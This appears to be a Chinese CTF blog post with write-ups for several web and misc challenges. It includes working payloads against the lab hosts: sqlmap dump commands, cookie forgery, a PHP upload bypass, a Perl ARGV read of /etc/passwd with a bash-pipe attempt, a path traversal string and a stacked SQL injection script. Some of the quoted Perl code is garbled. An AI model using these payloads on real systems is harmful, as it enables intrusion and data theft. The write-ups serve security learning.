被困在学校的不知道第几天,仍然ctf,仍然web
攻防世界:
1.Cat(python+Django,url+%80报错,@文件传递)
题目就叫cat,一看就是一个命令执行 点进去一看,哭了,这不就是省赛的题嘛...55515
看这个样子也很像命令执行,尝试了一下管道127.0.0.1 | ls,发现是invalid url
ping www.baidu.com也不行;
看来命令执行不通啊
看了大佬的wp,果然,大佬就是大佬,跪了。
在url里面写:
url?url=%79 会返回url=y;
%78则是x;
%80则报错;
url编码是用的16进制进行编码,0x80将其转化为10进制是128,超过127,超出了ascii编码范围
可以看见报错报出根目录,在/api/ping下,咱家也不知道这是用啥写的网站,百度了一下,这是用python写的网站,Django框架(好像一般写python都是用的这个框架)
首先咱没有提示,其次,咱也没有在官方文档中找到以下的东西(不了解python和Django真的难受)
参考自:https://blog.csdn.net/zz_Caleb/article/details/95041031
反正就是说,我们要使用@进行文件传递
行,那传呗
由Django 模块可知,我们要传的是settings.py文件
全篇搜索api,发现路径为:/opt/api/dnsapi/
尝试:@/opt/api/dnsapi/settings.py
发现没反应,难道是路径错了?继续搜索api,看看能不能找到有用的路径,没想到找路径的时候竟然发现了数据库名称,尝试一下
@/opt/api/database.sqlite3
返回的还是那么多报错信息,行吧,那继续刚刚寻找settings.py的路径,继续搜索api;
嗯?这个报错信息好像不一样了?,那搜索一下ctf,竟然真的有,这谁想的到啊
2.Triangle
进去就让我输flag,我都知道flag了我还在这儿提交? 查看源代码:
navigator.userAgent.toLowerCase().indexOf(‘firefox’)这个是判断浏览器类的函数,是firefox就为1,不是为0;
document .getElementById ( ‘password’ ),得到password第一个对象的值,
但是之后的enc_pw和test_pw,get_pw()明显不是内置函数,也没有其他代码对这个函数进行说明,这就很难为我了;
再仔细翻翻,发现有三个js文件,挨着挨着点开,搜索我们需要的函数,最终在secret.js里面出现了那两个函数的代码;
整理一下如下:
我是真的讨厌js,又多,不想看…,但是能看到那个get_pw能用,那就直接在控制台输入:
get_pw()
出现一段字符串,这是_的值;
_:“XYzaSAAX_PBssisodjsal_sSUVWZYYYb”
还缺少e:那我们现在去找e,啊…不想审计源码…
百度uc.ARCH_ARM和uc.MODE_ARM: ARM 构架的模拟器来实现加密函数
看了wp,别人的exp:
function getARM1(){
var x = stoh(atob(getBase64Image("frei")));
var output = new Array();
for(var i = 0; i < o1.length ; i++){
output[i] = x[o1[i]];
}
return output;
}
function toHexString(byteArray) {
return Array.from(byteArray, function(byte) {
return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('')
}
toHexString(getARM1())
直接在控制台里跑:
得到:“f2003ed90abd3ed9080a3ed900b03e1500503e1500c83e1500d301cd00f8efcd5df8e71fe0c84b1f0000fb150000000abcf8ee1f060052d95d00001ae000801fe0bd341fe0b08d1fbc0054d93aa6a665e0503e1500003e1500bd3e1500d33e15000a3e1500b03e1500f83e1500413e1500803e15000a3e15003e3e1500c83e15”
将这一串16进制进行ARM转换
在firefox和chrome浏览器运行出来的结果不一样,大概是前面我们看到的要判断浏览器类型那里的原因(别问,问就是死)
在chrome里面跑出来的才跟wp一样,为:
770070680abb70680860706800ac70380050703800bd703800954e3a0028d23a0028541534bd201500005d380000000a4d280015060052680000001a3400801534bb071534ac69154d005468be33338b345070380000703800bb7038009570380060703800ac703800287038000e70380080703800f070380070703800bd7038
这个拿去做ARM转换
就连解密都很恼火,解密地址:http://armconverter.com/hextoarm/
注意解密的类型,还有两个框都要填写
然后同理得到test_pw和enc_pw的ARM解密(其实想想不就是汇编语言嘛,咱以后慢慢学)
别问怎么来的,头秃(这种东西,以后我再慢慢研究)
然后控制台运行exp:
function findReqR6(){
var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb");
var required = new Array();
for(var i = 0 ; i < pw.length; i ++ ){
var a = pw[i];
a = a - 5;
if(i & 1 == 1){
a = a + 3;
}
required[i] = a;
}
return required;
}
htos(findReqR6())
继续构造:
function reverseEnc(argarray){
var test = 0;
var output = new Array();
for(var i = 0 ; i < argarray.length ; i++){
var x = argarray[i];
if(test == 1){
var sub = (i & 3);
x = x - sub;
}
x = x - 6;
test = (argarray[i] & 1);
output[i] = x;
}
return output;
}
htos(reverseEnc(findReqR6()))
爆出flag,就在这里都还有坑,flag应该为:
flag:{MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ}
注意有冒号
3.ics-04(sqlmap post --data)
提示说在登录和注册界面有漏洞,随便注册一个admin,登录成功;再注册一个admin’,发现竟然登不上?难道是过滤了?又试了union select,过滤了’
感觉在登录和注册这里没办法进行注入啊。
看了别人的wp之后,大惊失色,谁想得到这么简单,直接sqlmap就能跑出来
注入页面在找回密码那里,username是注入点
这里要介绍两种POST提交方式的sqlmap注入使用
第一种是-r,将bp抓得的包放进一个文件里面,然后:
sqlmap.py -r bp.txt --dbs
还有一种是-data
sqlmap.py -u url --data="name=value"
所以:
pyaload:
sqlmap.py -u http://111.198.29.45:43263/findpwd.php --data="username=1" --dbs
谁想得到这么简单,就直接出来了库;
就不过多累叙了,直接跳到最后:
paylaod:
sqlmap.py -u http://111.198.29.45:43263/findpwd.php --data="username=1" -D cetc004 -T user -C username,password,question,answer --dump
用用户名和密码去登录,竟然登不上????还有个答案不嘛,那就去找回密码一下,又错误????
看了wp才知道,要拿去注册,果然是坑,怪不得做出来的人辣么少
而且竟然要重复注册,真的坑啊;
4.bug(伪造cookie和上传绕过,php的script写法,后缀.php4,.php5)
又是登录注册页面,随便注册一个进去吧,进去之后,管理那里只有管理员可见
那我们尝试注册一个admin账号,发现提示admin已经被注册;
那现在的目的就是要用admin登录,但我们不知道密码,所以我们去找回密码;
随便一个用户名去找回密码,注意,这个时候我们的cookie和phpsessid已经发生改变,变成我们登录的用户名的md5加密;
所以,我们直接更改cooike和phpsessid,换成admin加密之后的值:
4b9987ccafacb8d8fc08d22bbca797ba
点击reset,进行admin登录,成功登录:
点击管理,弹出ip不允许,大概是内网吧,抓包将ip改成127.0.0.1
查看源代码,得到提示:
仿佛是一个文件包含,试过之后发现不是
看过wp之后,觉得自己还是太年轻;
大佬都是通过那个filename来判断upload是上传点的;
url?/index.php?module=filemanage&do=upload
先随意上传一个图片:
那上传一个php,上传php之后又说这是一个php…我知道这是一个php。。。。。。
行,上传绕过嘛;
首先文件扩展名改一下,改成
.php4
或者.php5
上传抓包,把类型换一下,改成:
image/jpeg
上传,又说有东西表明这是一个PHP,行,你歪些;
将内容改成:
<script language="PHP">echo "hhh";</script>
发送数据包,得到flag
5.i-got-id-200(文件上传项ARGV,神仙解题,学习)
点进去之后发现files里面有上传,尝试进行上传,发现上传之后不能返回路径
那去看看表单:
可以看见,存在回显,那尝试一下注入,感觉所有的都进行了处理;
然后看到了CGI,就去搜了一下它的漏洞,都没什么发现
实在不行了,还是得看wp(唉,太菜了)
上传虽然没有回显路径,但回显了内容
use strict; use warnings; use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( ‘file’ ) )
{ my $file=
c
g
i
−
>
p
a
r
a
m
(
′
f
i
l
e
′
)
;
w
h
i
l
e
(
<
cgi->param('file' ); while ( <
cgi−>param(′file′);while(<file> )
{
print “$_”;
}
}
param()函数会返回 一个列表的文件 但是 只有第一个文件会被放入到下面的file变量中 。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。
这是来自大佬wp的解释,反正我没看懂,网上搜了讲解:
大概就是,argv[参数],当参数是文件名的时候打开文件,所以我们要在url栏里传入文件路径参数,使之打开文件;
真的是神仙打架,过程看得我懵;
但是我还是没懂,为什么要多一行Content-Disposition: form-data; name=“file”,希望有路过的大佬指导一二;
之后在url传参,
url/cgi-bin/file.pl?/flag
就可以直接得到flag了;
如果猜不到文件路径,可以在搜CGI漏洞的时候搜到/etc/passwd这个路径
传入:
url/cgi-bin/file.pl?/etc/passwd
但是我在这个里面找不到什么有用的信息;完全不知道为什么大佬用管道的时候要:
/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS} / |
而且我也没有爆出来;希望路过的大佬能指点一二
不想web了,做几道杂项算了
misc
ext3(linux命令:挂载,base64解密)
题目一来下了一个磁盘???? 反正既然叫linux就用linux打开: 使用命令:`strings linux | grep flag` ![在这里插入图片描述](https://img-blog.csdnimg.cn/2019072911544664.png) 可以看见这是与flag有关的一些东西,其中大多是.swp备份文件,而最长的那个最扎眼,是一个完整的.txt文件 所以使用mount挂载文件系统或使用binwalk提取文件,之后再经过base64转码即可;sudo mount linux /mnt
之后:
cat /mnt/O7avZhikgKgbF/flag.txt
payload: base64 -d /mnt/O7avZhikgKgbF/flag.txt
得到flag;
give_you_flag
杂项的题有时候真的很脑残。。。比如说这道,一闪而过的二维码,让我截下,ps一下把二维码还原,然后扫。。。。。。。Excaliflag(图片隐写)
使用stegsolve:得到flag
签到题
这题一看就是base64解码; ![在这里插入图片描述](https://img-blog.csdnimg.cn/20190729113516890.png) 解密之后得到:ggQ@gQ1fqh0ohtjpt_sw{gfhgs#},看着就不对,拿去提交,果然不对; 拿去栅栏解密和rot12解密, 栅栏解密偏移14位: gQg1q0hjts{fg#g@Qfhotp_wghs} 然后用此拿去ROT12(这个rot12是个什么啊,网上搜不到这个) 虽然我不知道怎么看出来的,反正就得到了flag: ssctf{ssCtf_seC10ver#@rabit}BUUCTF(文件包含)
1.Warmup 这张表情包真的很emmmm。。。。,
查看源码,得到source.php,访问,直接爆出源码,看来,这又是一道源码审计的题;
源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
发现还有hint.php,去访问一下:
好,那flag就在fffflllaaaagggg里面,返回去看源代码
里面有两个函数:in_array和mb_strpos
in_array(参数1,参数2)是在参数2这个数组中中寻找参数1,
mb_strpos:跟strpos差不多
所以,以上代码大概是:
我们需要一个参数,参数的内容如果在白名单里就为真;如果存在?,就截取?前面的一部分;
并且对file进行了url解码,意味着我们的url可以进行url编码;
差不多就是个文件包含的问题
构造file为:?file=hint.php?../…/…/ffffllllaaaagggg
为了不截取?前面的,对?进行url二次加密;
?–>%3f—>%253f
构造payload:
?file=hint.php%253f../../../../../../ffffllllaaaagggg
flag就出来了
但是这里我不懂的是为什么就是…/…/…/…/…/…/,试出来的吗?
7.随便注(堆叠注入)
一道sql注入题,并且对特殊字符串进行了过滤
看来查库不能用select database()
那咋办?大佬讲解的堆叠注入(自己思维太狭隘了,唉)
堆叠注入:;代表一条语句结束,而我们可以用语句1;语句2;语句3;来先执行语句1再执行语句2再执行语句3;联合注入的执行语句就那几种,但堆叠注入可以执行任何语句;
并且,爆表可以使用:
show tables;
所以,
paylaod:1';show tables;#
爆出两个表名,挨着挨着看表的结构:
desc xxx; 收集表名以及表的结构,具体可见:https://blog.csdn.net/BlueBlueSkyZ/article/details/52448243
payload:
1';desc'1919810931114514';#
但我没爆出来,参考了其他方法
1'; show columns from ‘1919810931114514’;
也没爆出来,行吧,那爆一下words,虽然爆出来了但是没有想要的flag;
最终用:
1';show create table `1919810931114514`;
爆出来了这个表:
可以看见,里面有flag,尝试直接爆flag,不可能的
上脚本:
#coding=utf-8
import requests
#1919810931114514
part_url='http://web16.buuoj.cn/?inject='
payload="select flag from `1919810931114514`;"
payload=payload.encode('hex')
payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23'''
print payload
full_url=part_url+payload
r=requests.get(url=full_url)
print r.content
得到flag
这个脚本是先编译了sql语句,对sql语句进行16进制编码,然后用execute来执行,这里16进制编码的payload在编译中又可以转化回来,
大佬大佬,遭不住遭不住;